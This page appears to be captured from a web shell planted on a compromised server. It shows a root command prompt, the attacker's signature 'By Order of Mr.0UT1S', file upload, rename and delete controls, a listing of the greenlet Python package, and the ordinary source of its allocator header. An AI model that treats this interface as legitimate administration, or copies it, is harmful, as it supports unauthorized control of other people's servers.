opt
/
hc_python
/
lib
/
python3.12
/
site-packages
/
greenlet
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] __pycache__
N/A
[DIR] platform
N/A
[DIR] tests
N/A
CObjects.cpp
3.43 KB
Rename
Delete
PyGreenlet.cpp
22.89 KB
Rename
Delete
PyGreenlet.hpp
1.43 KB
Rename
Delete
PyGreenletUnswitchable.cpp
4.27 KB
Rename
Delete
PyModule.cpp
8.39 KB
Rename
Delete
TBrokenGreenlet.cpp
1021 bytes
Rename
Delete
TExceptionState.cpp
1.33 KB
Rename
Delete
TGreenlet.cpp
25.13 KB
Rename
Delete
TGreenlet.hpp
27.22 KB
Rename
Delete
TGreenletGlobals.cpp
3.19 KB
Rename
Delete
TMainGreenlet.cpp
3.20 KB
Rename
Delete
TPythonState.cpp
15.00 KB
Rename
Delete
TStackState.cpp
7.21 KB
Rename
Delete
TThreadState.hpp
18.68 KB
Rename
Delete
TThreadStateCreator.hpp
2.55 KB
Rename
Delete
TThreadStateDestroy.cpp
9.34 KB
Rename
Delete
TUserGreenlet.cpp
23.00 KB
Rename
Delete
__init__.py
1.68 KB
Rename
Delete
_greenlet.cpython-312-x86_64-linux-gnu.so
1.36 MB
Rename
Delete
greenlet.cpp
10.74 KB
Rename
Delete
greenlet.h
4.64 KB
Rename
Delete
greenlet_allocator.hpp
1.54 KB
Rename
Delete
greenlet_compiler_compat.hpp
4.24 KB
Rename
Delete
greenlet_cpython_add_pending.hpp
5.90 KB
Rename
Delete
greenlet_cpython_compat.hpp
3.87 KB
Rename
Delete
greenlet_exceptions.hpp
4.40 KB
Rename
Delete
greenlet_internal.hpp
2.65 KB
Rename
Delete
greenlet_refs.hpp
33.63 KB
Rename
Delete
greenlet_slp_switch.hpp
3.12 KB
Rename
Delete
greenlet_thread_support.hpp
867 bytes
Rename
Delete
slp_platformselect.h
3.75 KB
Rename
Delete
#ifndef GREENLET_ALLOCATOR_HPP #define GREENLET_ALLOCATOR_HPP #define PY_SSIZE_T_CLEAN #include <Python.h> #include <memory> #include "greenlet_compiler_compat.hpp" namespace greenlet { // This allocator is stateless; all instances are identical. // It can *ONLY* be used when we're sure we're holding the GIL // (Python's allocators require the GIL). template <class T> struct PythonAllocator : public std::allocator<T> { PythonAllocator(const PythonAllocator& UNUSED(other)) : std::allocator<T>() { } PythonAllocator(const std::allocator<T> other) : std::allocator<T>(other) {} template <class U> PythonAllocator(const std::allocator<U>& other) : std::allocator<T>(other) { } PythonAllocator() : std::allocator<T>() {} T* allocate(size_t number_objects, const void* UNUSED(hint)=0) { void* p; if (number_objects == 1) p = PyObject_Malloc(sizeof(T)); else p = PyMem_Malloc(sizeof(T) * number_objects); return static_cast<T*>(p); } void deallocate(T* t, size_t n) { void* p = t; if (n == 1) { PyObject_Free(p); } else PyMem_Free(p); } // This member is deprecated in C++17 and removed in C++20 template< class U > struct rebind { typedef PythonAllocator<U> other; }; }; } #endif
Save